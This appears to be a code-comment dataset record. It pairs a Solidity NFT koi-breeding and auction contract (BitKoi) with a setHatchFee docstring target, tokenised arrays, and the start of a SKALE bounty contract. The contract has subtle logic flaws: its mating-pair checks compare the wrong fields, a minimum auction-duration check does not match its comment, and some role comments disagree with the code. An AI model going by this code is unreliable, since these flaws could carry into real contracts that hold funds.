return (ownerOf(_tokenId) == _claimant);
}
/// @dev Checks if a given address currently has transferApproval for a particular KoiFish.
/// @param _claimant the address we are confirming fish is approved for.
/// @param _tokenId fish id, only valid when > 0
function _approvedFor(
address _claimant,
uint256 _tokenId
)
internal
view
returns (bool) {
return bitKoiIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting KoiFish on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(
uint256 _tokenId,
address _approved
)
internal {
bitKoiIndexToApproved[_tokenId] = _approved;
}
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any fish (except very briefly
// after a gen0 fish is created and before it goes on auction).
require(_to != address(this));
// Disallow transfers to the auction contracts to prevent accidental
// misuse. Auction contracts should only take ownership of fish
// through the allow + transferFrom flow.
// You can only send your own fish
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
}
abstract contract BitKoiBreeding is BitKoiOwnership {
event Hatch(address owner, uint256 fishId, uint256 genes);
uint256 public breedFee = 0 wei;
uint256 public hatchFee = 0 wei;
/// @dev The address of the sibling contract that is used to implement the genetic combination algorithm.
BitKoiTraitInterface public bitKoiTraits;
/// @dev Update the address of the genetic contract, can only be called by the CEO.
/// @param _address An address of a GeneScience contract instance to be used from this point forward.
function setBitKoiTraitAddress(address _address) external onlyCEO {
BitKoiTraitInterface candidateContract = BitKoiTraitInterface(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isBitKoiTraits());
// Set the new contract address
bitKoiTraits = candidateContract;
}
/// @dev Checks to see if a given fish is ready to hatch after the gestation period has passed.
function _isReadyToHatch(uint256 _fishId) private view returns (bool) {
BitKoi storage fishToHatch = bitKoi[_fishId];
return fishToHatch.cooldownEndBlock <= uint64(block.number);
}
/// @dev Checks that a given fish is able to breed. Requires that the
/// current cooldown is finished
function _isReadyToBreed(BitKoi storage _fish) internal view returns (bool) {
// In addition to checking the cooldownEndBlock, we also need to check to see if
// the fish has a pending birth; there can be some period of time between the end
// of the pregnacy timer and the spawn event.
return _fish.cooldownEndBlock <= uint64(block.number);
}
/// @dev Set the cooldownEndTime for the given fish based on its current cooldownIndex.
/// Also increments the cooldownIndex (unless it has hit the cap).
/// @param _koiFish A reference to the KoiFish in storage which needs its timer started.
function _triggerCooldown(BitKoi storage _koiFish) internal {
// Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).
_koiFish.cooldownEndBlock = uint64((cooldowns[_koiFish.cooldownIndex]/secondsPerBlock) + block.number);
// Increment the breeding count, clamping it at 13, which is the length of the
// cooldowns array. We could check the array size dynamically, but hard-coding
// this as a constant saves gas. Yay, Solidity!
if (_koiFish.cooldownIndex < 13) {
_koiFish.cooldownIndex += 1;
}
}
// @dev Updates the minimum payment required for calling breedWith(). Can only
/// be called by the COO address. (This fee is used to offset the gas cost incurred
/// by the autobirth daemon).
function setBreedFee(uint256 val) external onlyCEO {
breedFee = val;
}
// @dev Updates the minimum payment required for calling hatchFish(). Can only
/// be called by the COO address. (This fee is used to offset the gas cost incurred
/// by the autobirth daemon).
function setHatchFee(uint256 val) external onlyCEO {
hatchFee = val;
}
/// @notice Checks that a given fish is able to breed (i.e. it is not
/// in the middle of a siring cooldown).
/// @param _koiId reference the id of the fish, any user can inquire about it
function isReadyToBreed(uint256 _koiId)
public
view
returns (bool)
{
require(_koiId > 0);
BitKoi storage fish = bitKoi[_koiId];
return _isReadyToBreed(fish);
}
/// @notice Checks that a given fish is able to breed (i.e. it is not
/// in the middle of a siring cooldown).
/// @param _koiId reference the id of the fish, any user can inquire about it
function isReadyToHatch(uint256 _koiId)
public
view
returns (bool)
{
require(_koiId > 0);
return _isReadyToHatch(_koiId);
}
/// @dev Internal check to see if a the parents are a valid mating pair. DOES NOT
/// check ownership permissions (that is up to the caller).
/// @param _parent1 A reference to the Fish struct of the potential first parent
/// @param _parent1Id The first parent's ID.
/// @param _parent2 A reference to the Fish struct of the potential second parent
/// @param _parent2Id The second parent's ID.
function _isValidMatingPair(
BitKoi storage _parent1,
uint256 _parent1Id,
BitKoi storage _parent2,
uint256 _parent2Id
)
private
view
returns(bool)
{
// A Fish can't breed with itself!
if (_parent1Id == _parent2Id) {
return false;
}
//the fish have to have genes
if (_parent1.genes == 0 || _parent2.genes == 0) {
return false;
}
// Fish can't breed with their parents.
if (_parent1.parent1Id == _parent1Id || _parent1.parent2Id == _parent2Id) {
return false;
}
if (_parent2.parent1Id == _parent1Id || _parent2.parent2Id == _parent2Id) {
return false;
}
// OK the tx if either fish is gen zero (no parent found).
if (_parent2.parent1Id == 0 || _parent1.parent1Id == 0) {
return true;
}
// Fish can't breed with full or half siblings.
if (_parent2.parent1Id == _parent1.parent1Id || _parent2.parent1Id == _parent1.parent2Id) {
return false;
}
if (_parent2.parent1Id == _parent1.parent1Id || _parent2.parent2Id == _parent1.parent2Id) {
return false;
}
// gtg
return true;
}
/// @notice Checks to see if two BitKoi can breed together, including checks for
/// ownership and siring approvals. Doesn't check that both BitKoi are ready for
/// breeding (i.e. breedWith could still fail until the cooldowns are finished).
/// @param _parent1Id The ID of the proposed first parent.
/// @param _parent2Id The ID of the proposed second parent.
function canBreedWith(uint256 _parent1Id, uint256 _parent2Id)
external
view
returns(bool)
{
require(_parent1Id > 0);
require(_parent2Id > 0);
BitKoi storage parent1 = bitKoi[_parent1Id];
BitKoi storage parent2 = bitKoi[_parent2Id];
return _isValidMatingPair(parent1, _parent1Id, parent2, _parent2Id);
}
/// @dev Internal utility function to initiate breeding, assumes that all breeding
/// requirements have been checked.
function _breedWith(uint256 _parent1Id, uint256 _parent2Id) internal returns(uint256) {
// Grab a reference to the Koi from storage.
BitKoi storage parent1 = bitKoi[_parent1Id];
BitKoi storage parent2 = bitKoi[_parent2Id];
// Determine the higher generation number of the two parents
uint16 parentGen = parent1.generation;
if (parent2.generation > parent1.generation) {
parentGen = parent2.generation;
}
uint256 bitKoiCoProceeds = msg.value;
//transfer the breed fee less the pond cut to the CFO contract
payable(address(cfoAddress)).transfer(bitKoiCoProceeds);
// Make the new fish!
address owner = bitKoiIndexToOwner[_parent1Id];
uint256 newFishId = _createBitKoi(_parent1Id, _parent2Id, parentGen + 1, 0, owner);
// Trigger the cooldown for both parents.
_triggerCooldown(parent1);
_triggerCooldown(parent2);
// Emit the breeding event.
emit BreedingSuccessful(bitKoiIndexToOwner[_parent1Id], newFishId, _parent1Id, _parent2Id, parent1.cooldownEndBlock);
return newFishId;
}
function breedWith(uint256 _parent1Id, uint256 _parent2Id)
external
payable
whenNotPaused
{
// Checks for payment.
require(msg.value >= breedFee);
///check to see if the caller owns both fish
require(_owns(msg.sender, _parent1Id));
require(_owns(msg.sender, _parent2Id));
// Grab a reference to the first parent
BitKoi storage parent1 = bitKoi[_parent1Id];
// Make sure enough time has passed since the last time this fish was bred
require(_isReadyToBreed(parent1));
// Grab a reference to the second parent
BitKoi storage parent2 = bitKoi[_parent2Id];
// Make sure enough time has passed since the last time this fish was bred
require(_isReadyToBreed(parent2));
// Test that these fish are a valid mating pair.
require(_isValidMatingPair(
parent2,
_parent2Id,
parent1,
_parent1Id
));
// All checks passed, make a new fish!!
_breedWith(_parent1Id, _parent2Id);
}
/// @dev An internal method that creates a new fish and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Birth event
/// and a Transfer event.
/// @param _parent1Id The fish ID of the first parent (zero for gen0)
/// @param _parent2Id The fish ID of the second parent (zero for gen0)
/// @param _generation The generation number of this fish, must be computed by caller.
/// @param _genes The fish's genetic code.
/// @param _owner The inital owner of this fish, must be non-zero (except for fish ID 0)
function _createBitKoi(
uint256 _parent1Id,
uint256 _parent2Id,
uint256 _generation,
uint256 _genes,
address _owner
)
internal
returns (uint)
{
// These requires are not strictly necessary, our calling code should make
// sure that these conditions are never broken. However! _createKoiFish() is already
// an expensive call (for storage), and it doesn't hurt to be especially careful
// to ensure our data structures are always valid.
require(_parent1Id == uint256(uint32(_parent1Id)));
require(_parent2Id == uint256(uint32(_parent2Id)));
require(_generation == uint256(uint16(_generation)));
// New fish starts with the same cooldown as parent gen/2
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
BitKoi memory _bitKoi = BitKoi({
genes: _genes,
spawnTime: uint64(block.timestamp),
cooldownEndBlock: 0,
parent1Id: uint32(_parent1Id),
parent2Id: uint32(_parent2Id),
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 newBitKoiId = bitKoi.length;
bitKoi.push(_bitKoi);
// It's probably never going to happen, 4 billion fish is A LOT, but
// let's just be 100% sure we never let this happen.
require(newBitKoiId == uint256(uint32(newBitKoiId)));
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_mintNewKoi(_owner, newBitKoiId);
// emit the spawn event
emit Spawn(
_owner,
newBitKoiId,
uint256(_bitKoi.parent1Id),
uint256(_bitKoi.parent2Id),
_bitKoi.genes,
uint16(_generation),
uint64(block.timestamp)
);
BitKoi storage brandNewKoi = bitKoi[newBitKoiId];
_triggerCooldown(brandNewKoi);
return newBitKoiId;
}
function hatchFish(uint256 _fishId, uint256 _geneSet1, uint256 _geneSet2)
external
payable
whenNotPaused
{
// Checks for payment.
require(msg.value >= hatchFee);
//ensure the caller owns the egg they want to hatch
require(_owns(msg.sender, _fishId));
_hatchFish(_fishId, _geneSet1, _geneSet2);
}
function _hatchFish(uint256 _fishId, uint256 _geneSet1, uint256 _geneSet2) internal {
BitKoi storage fishToHatch = bitKoi[_fishId];
BitKoi storage parent1 = bitKoi[fishToHatch.parent1Id];
BitKoi storage parent2 = bitKoi[fishToHatch.parent2Id];
uint256 genes1 = 0;
uint256 genes2 = 0;
if (fishToHatch.parent1Id > 0){
genes1 = parent1.genes;
} else {
genes1 = _geneSet1;
}
if (fishToHatch.parent2Id > 0){
genes2 = parent2.genes;
} else {
genes2 = _geneSet2;
}
// Check that the parent is a valid fish
require(parent1.spawnTime != 0 && parent2.spawnTime != 0);
// Check to see if the fish is ready to hatch
require(_isReadyToHatch(_fishId));
// Make sure this fish doesn't already have genes
require(fishToHatch.genes == 0);
// next, let's get new genes for the fish we're about to hatch
uint256 newFishGenes = bitKoiTraits.smooshFish(genes1, genes2, fishToHatch.cooldownEndBlock - 1);
fishToHatch.genes = uint256(newFishGenes);
//transfer the hatch fee less the pond cut to the CFO contract
payable(address(cfoAddress)).transfer(msg.value);
emit Hatch(msg.sender, _fishId, newFishGenes);
}
}
abstract contract BitKoiAuction is BitKoiBreeding {
// Tracks last 5 sale price of gen0 fish sales
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
struct Auction {
// Current owner of NFT
address seller;
// Price (in wei) at beginning of auction
uint128 startingPrice;
// Price (in wei) at end of auction
uint128 endingPrice;
// Duration (in seconds) of auction
uint64 duration;
// Time when auction started
// NOTE: 0 if this auction has been concluded
uint64 startedAt;
}
// Cut contract owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 public ownerCut = 250;
/// @param _ownerCut - update the percent cut the contract owner takes on each breed or hatch event, must be
/// between 0-10,000.
function setOwnerCut(uint256 _ownerCut) external onlyCEO {
require(_ownerCut <= 10000);
ownerCut = _ownerCut;
}
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(address sellerId, uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
/// @dev adds an auction to the list of open auctions. Also fires the AuctionCreated event.
/// @param _tokenId The ID of the token to be put on auction.
/// @param _auction Auction to add.
function _addAuction(address _sellerId, uint256 _tokenId, Auction memory _auction, uint256 _auctionStarted) internal {
// Require that all auctions have a duration of
// at least one minute. (Keeps our math from getting hairy!)
require(_auction.duration >= 0 minutes);
tokenIdToAuction[_tokenId] = _auction;
emit AuctionCreated(
address(_sellerId),
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration),
uint256(_auctionStarted)
);
}
/// @dev Cancels an auction unconditionally.
function _cancelAuction(uint256 _tokenId) internal {
_removeAuction(_tokenId);
emit AuctionCancelled(_tokenId);
}
/// @dev Computes the price and transfers winnings.
/// Does NOT transfer ownership of token.
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = address(uint160(auction.seller));
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
// (NOTE: _computeCut() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 contractCut = _computeCut(price);
uint256 sellerProceeds = price - contractCut;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the auction
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelAuction(). )
payable(cfoAddress).transfer(contractCut);
payable(seller).transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint256 bidExcess = _bidAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
payable(msg.sender).transfer(bidExcess);
// Tell the world!
emit AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev Removes an auction from the list of open auctions.
/// @param _tokenId - ID of NFT on auction.
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/// @dev Returns true if the NFT is on auction.
/// @param _auction - Auction to check.
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
/// @dev Returns current price of an NFT on auction. Broken into two
/// functions (this one, that computes the duration from the auction
/// structure, and the other that does the price computation) so we
/// can easily test that the price computation works correctly.
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
// A bit of insurance against negative values (or wraparound).
// Probably not necessary (since Ethereum guarnatees that the
// now variable doesn't ever go backwards).
if (block.timestamp > _auction.startedAt) {
secondsPassed = block.timestamp - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
/// @dev Computes the current price of an auction. Factored out
/// from _currentPrice so we can run extensive unit tests.
/// When testing, make this function public and turn on
/// `Current price computation` test suite.
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our public functions carefully cap the maximum values for
// time (at 64-bits) and currency (at 128-bits). _duration is
// also known to be non-zero (see the require() statement in
// _addAuction())
if (_secondsPassed >= _duration) {
// We've reached the end of the dynamic pricing portion
// of the auction, just return the end price.
return _endingPrice;
} else {
// Starting price can be higher than ending price (and often is!), so
// this delta can be negative.
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
// currentPriceChange can be negative, but if so, will have a magnitude
// less that _startingPrice. Thus, this result will always end up positive.
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
/// @dev Computes owner's cut of a sale.
/// @param _price - Sale price of NFT.
function _computeCut(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and ownerCut <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * ownerCut / 10000;
}
/// @dev Creates and begins a new auction.
/// @param _tokenId - ID of token to auction, sender must be owner.
/// @param _startingPrice - Price of item (in wei) at beginning of auction.
/// @param _endingPrice - Price of item (in wei) at end of auction.
/// @param _duration - Length of auction (in seconds).
/// @param _seller - Seller, if not the message sender
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
whenNotPaused
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the auction struct.
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_startingPrice >= _endingPrice);
require(msg.sender == bitKoiIndexToOwner[_tokenId]);
Auction memory auction = Auction(
address(_seller),
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(block.timestamp)
);
_addAuction(_seller, _tokenId, auction, block.timestamp);
}
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
// _bid will throw if the bid or funds transfer fails
// _bid verifies token ID size
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
//If not a gen0 auction, exit
if (seller == address(this)) {
// Track gen0 sale prices
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
_transfer(seller, msg.sender, _tokenId);
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
/// @dev Cancels an auction that hasn't been won yet.
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on auction
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId);
}
/// @dev Cancels an auction when the contract is paused.
/// Only the owner may do this, and NFTs are returned to
/// the seller. This should only be used in emergencies.
/// @param _tokenId - ID of the NFT on auction to cancel.
function cancelAuctionWhenPaused(uint256 _tokenId)
whenPaused
onlyOwner
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId);
}
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
/// @dev Returns the current price of an auction.
/// @param _tokenId - ID of the token price we are checking.
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
/// @title all functions related to creating fish (and their eggs)
abstract contract BitKoiMinting is BitKoiAuction {
// Limits the number of fish the contract owner can ever create.
uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant GEN0_EGG_CREATION_LIMIT = 45000;
// Counts the number of fish the contract owner has created.
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
// Direct sale is not live to start
bool public directSalePaused = true;
//determine the price for minting a new BitKoi gen0 egg
uint256 public gen0PromoPrice = 5000000000000000000 wei;
uint256 public currentGen0Cap = 100;
// allow direct sales of gen0 eggs
function pauseDirectSale() external onlyCLevel {
directSalePaused = true;
}
// stop direct sales of gen0 eggs
function unpauseDirectSale() external onlyCLevel {
directSalePaused = false;
}
// set current cap for sale - this can be raised later so new sales can be started w/ limits
function setCurrentGen0Cap(uint256 val) external onlyCEO {
currentGen0Cap = val;
}
// @dev Updates the minimum payment required for calling mintGen0Egg(). Can only
/// be called by the CEO address.
function setGen0PromoPrice(uint256 val) external onlyCEO {
gen0PromoPrice = val;
}
function mintGen0Egg(address _owner) external payable {
require (!directSalePaused);
require (msg.value >= gen0PromoPrice);
require (gen0CreatedCount < currentGen0Cap);
require (gen0CreatedCount < GEN0_EGG_CREATION_LIMIT);
//transfer the sale price less the pond cut to the CFO contract
payable(address(cfoAddress)).transfer(msg.value);
address bitKoiOwner = _owner;
gen0CreatedCount++;
_createBitKoi(0, 0, 0, 0, bitKoiOwner);
}
/// @dev we can create promo fish, up to a limit. Only callable by COO
/// @param _genes the encoded genes of the fish to be created, any value is accepted
/// @param _owner the future owner of the created fish. Default to contract COO
function createPromoFish(uint256 _genes, address _owner) external onlyCOO {
address bitKoiOwner = _owner;
if (bitKoiOwner == address(0)) {
bitKoiOwner = cooAddress;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createBitKoi(0, 0, 0, _genes, bitKoiOwner);
}
}
contract BitKoiCore is BitKoiMinting {
constructor(address _proxyRegistryAddress) ERC721Tradable("BitKoi", "BITKOI", _proxyRegistryAddress) {
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = msg.sender;
// the creator of the contract is also the initial COO
cooAddress = msg.sender;
// the creator of the contract is also the initial COO
cfoAddress = msg.sender;
//start with an initial fish
_createBitKoi(0, 0, 0, type(uint256).max, address(this));
}
string baseURI = "https://www.bitkoi.co/api/nft/";
string contractMainURI = "https://www.bitkoi.co";
function baseTokenURI() public view returns (string memory) {
return baseURI;
}
function setBaseTokenURI(string memory _newBaseURI) public onlyCEO {
baseURI = _newBaseURI;
}
function setContractURI(string memory _newContractURI) public onlyCEO {
contractMainURI = _newContractURI;
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId)));
}
function contractURI() public view returns (string memory) {
return contractMainURI;
}
function unpause() override public onlyCEO whenPaused {
require(address(bitKoiTraits) != address(0));
// Actually unpause the contract.
super.unpause();
}
/// @notice Returns all the relevant information about a specific fish.
/// @param _id The ID of the fish we're looking up
function getBitKoi(uint256 _id)
external
view
returns (
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 spawnTime,
uint256 parent1Id,
uint256 parent2Id,
uint256 generation,
uint256 cooldownEndBlock,
uint256 genes
) {
BitKoi storage fish = bitKoi[_id];
isReady = (fish.cooldownEndBlock <= block.number);
cooldownIndex = uint256(fish.cooldownIndex);
nextActionAt = uint256(fish.cooldownEndBlock);
spawnTime = uint256(fish.spawnTime);
parent1Id = uint256(fish.parent1Id);
parent2Id = uint256(fish.parent2Id);
generation = uint256(fish.generation);
cooldownEndBlock = uint256(fish.cooldownEndBlock);
genes = fish.genes;
}
}
|
@dev Updates the minimum payment required for calling hatchFish(). Can only be called by the COO address. (This fee is used to offset the gas cost incurred by the autobirth daemon).
|
function setHatchFee(uint256 val) external onlyCEO {
hatchFee = val;
}
| 11,765,462 |
[
1,
5121,
326,
5224,
5184,
1931,
364,
4440,
366,
505,
42,
1468,
7675,
4480,
1338,
225,
506,
2566,
635,
326,
7910,
51,
1758,
18,
261,
2503,
14036,
353,
1399,
358,
1384,
326,
16189,
6991,
316,
1397,
1118,
225,
635,
326,
2059,
947,
10542,
8131,
2934,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
44,
505,
14667,
12,
11890,
5034,
1244,
13,
3903,
1338,
1441,
51,
288,
203,
3639,
366,
505,
14667,
273,
1244,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-only
/*
Bounty.sol - SKALE Manager
Copyright (C) 2020-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "./delegation/DelegationController.sol";
import "./delegation/PartialDifferences.sol";
import "./delegation/TimeHelpers.sol";
import "./delegation/ValidatorService.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./Permissions.sol";
contract BountyV2 is Permissions {
using PartialDifferences for PartialDifferences.Value;
using PartialDifferences for PartialDifferences.Sequence;
struct BountyHistory {
uint month;
uint bountyPaid;
}
uint public constant YEAR1_BOUNTY = 3850e5 * 1e18;
uint public constant YEAR2_BOUNTY = 3465e5 * 1e18;
uint public constant YEAR3_BOUNTY = 3080e5 * 1e18;
uint public constant YEAR4_BOUNTY = 2695e5 * 1e18;
uint public constant YEAR5_BOUNTY = 2310e5 * 1e18;
uint public constant YEAR6_BOUNTY = 1925e5 * 1e18;
uint public constant EPOCHS_PER_YEAR = 12;
uint public constant SECONDS_PER_DAY = 24 * 60 * 60;
uint public constant BOUNTY_WINDOW_SECONDS = 3 * SECONDS_PER_DAY;
uint private _nextEpoch;
uint private _epochPool;
uint private _bountyWasPaidInCurrentEpoch;
bool public bountyReduction;
uint public nodeCreationWindowSeconds;
PartialDifferences.Value private _effectiveDelegatedSum;
// validatorId amount of nodes
mapping (uint => uint) public nodesByValidator; // deprecated
// validatorId => BountyHistory
mapping (uint => BountyHistory) private _bountyHistory;
bytes32 public constant BOUNTY_REDUCTION_MANAGER_ROLE = keccak256("BOUNTY_REDUCTION_MANAGER_ROLE");
modifier onlyBountyReductionManager() {
